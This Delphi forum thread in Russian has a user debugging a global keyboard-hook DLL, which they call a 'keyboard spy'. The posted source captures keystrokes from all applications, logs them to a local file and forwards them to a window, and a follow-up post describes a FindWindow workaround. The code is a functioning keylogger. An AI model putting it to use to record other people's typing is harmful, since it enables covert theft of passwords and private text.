Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > ОС и железо
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 14.04.2024, 21:36
T232006 T232006 вне форума
Прохожий
 
Регистрация: 17.11.2022
Сообщения: 49
Версия Delphi: Delphi XE5
Репутация: 10
По умолчанию Хук клавиатуры и MS Word

Здравствуйте! Стоит задача отловить нажатие клавиш в различных приложениях и передать буквы в memo и записать в файл. Сооружаю стандартную несложную dll'ку клавиатурного шпиона и замечаю странность: с блокнотом всё прекрасно работает и пишется в файл. С браузером тоже. А вот с вордом в файл пишется, но в memo - нет. А если поставить брейкпоинты на месте writeln(f, key), то c вордом они не отработают, но в файл все запишется. Что за чертовщина?
Код:
library simplehook;
uses
Messages, Windows, keyboardUnit; //keyboardUnit только для расшаривания message WM_MYKEYPRESS

var
HookHandle:hHook;
ft:textfile;
hwin: Hwnd;
function KeyboardProc(Code: Integer; wParam: wParam; LParam: LParam): integer; stdcall;
var myHKL: HKL;
    KS: TKeyboardState;
    SC: integer;
    key1: char;
begin
if code<0 then Result:=CallNextHookEx(HookHandle, code, WParam, LParam)
else
if byte(LParam shr 24)<$80 then {только нажатие}
begin
    myHKL:=GetKeyboardLayout(GetCurrentThreadID);
    SC:=MapVirtualKeyEx(WParam, MAPVK_VK_TO_VSC, MyHKL);
    GetKeyboardState(KS);
    ToUnicodeEx(WParam, SC, KS, @Key1, sizeof(key1), 0, MyHKL);
try
  append(ft);
except
  exit;
end;
  writeln(ft,'key=', key1 ); // <---- здесь ставлю брейкпоинт и в случае с вордом отладчик игнорирует, но исполняет
  closefile(ft);
//sendchar( hwin, key1);
  sendMessage(hwin, WM_MYKEYPRESS, ord(key1), 0);    //<--- здесь я передаю сообщение принимающему окну
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;
end;

procedure SetHook(wnd:hwnd); stdcall;
begin
  hwin:= wnd;
  HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, 0);
end;

procedure DelHook; stdcall;
begin
  UnhookWindowsHookEx(HookHandle);
end;
exports
SetHook, Delhook;

begin
assignfile(ft,'z:\Программирование\пробы\Test\Hooks\Keyhook.txt');
end.
Ответить с цитированием
  #2  
Старый 17.04.2024, 13:10
T232006 T232006 вне форума
Прохожий
 
Регистрация: 17.11.2022
Сообщения: 49
Версия Delphi: Delphi XE5
Репутация: 10
По умолчанию

Я решил эту проблему следующим способом. Оказалось, что хуки очень не любят, когда в их библиотеки прописывают какие-то классы и даже лишние переменные. Поэтому я заменил код
Код:
sendMessage(hwin, WM_MYKEYPRESS, ord(key1), 0)
на
Код:
sendMessage(FindWinodw(nil, 'Название принимающего окна'), WM_MYKEYPRESS, ord(key1), 0)
и всё заработало. правда, библиотека потеряла универсальность.
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 20:15.


 

Сайт

Форум

FAQ

RSS лента

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2023

ВКонтакте   Facebook   Twitter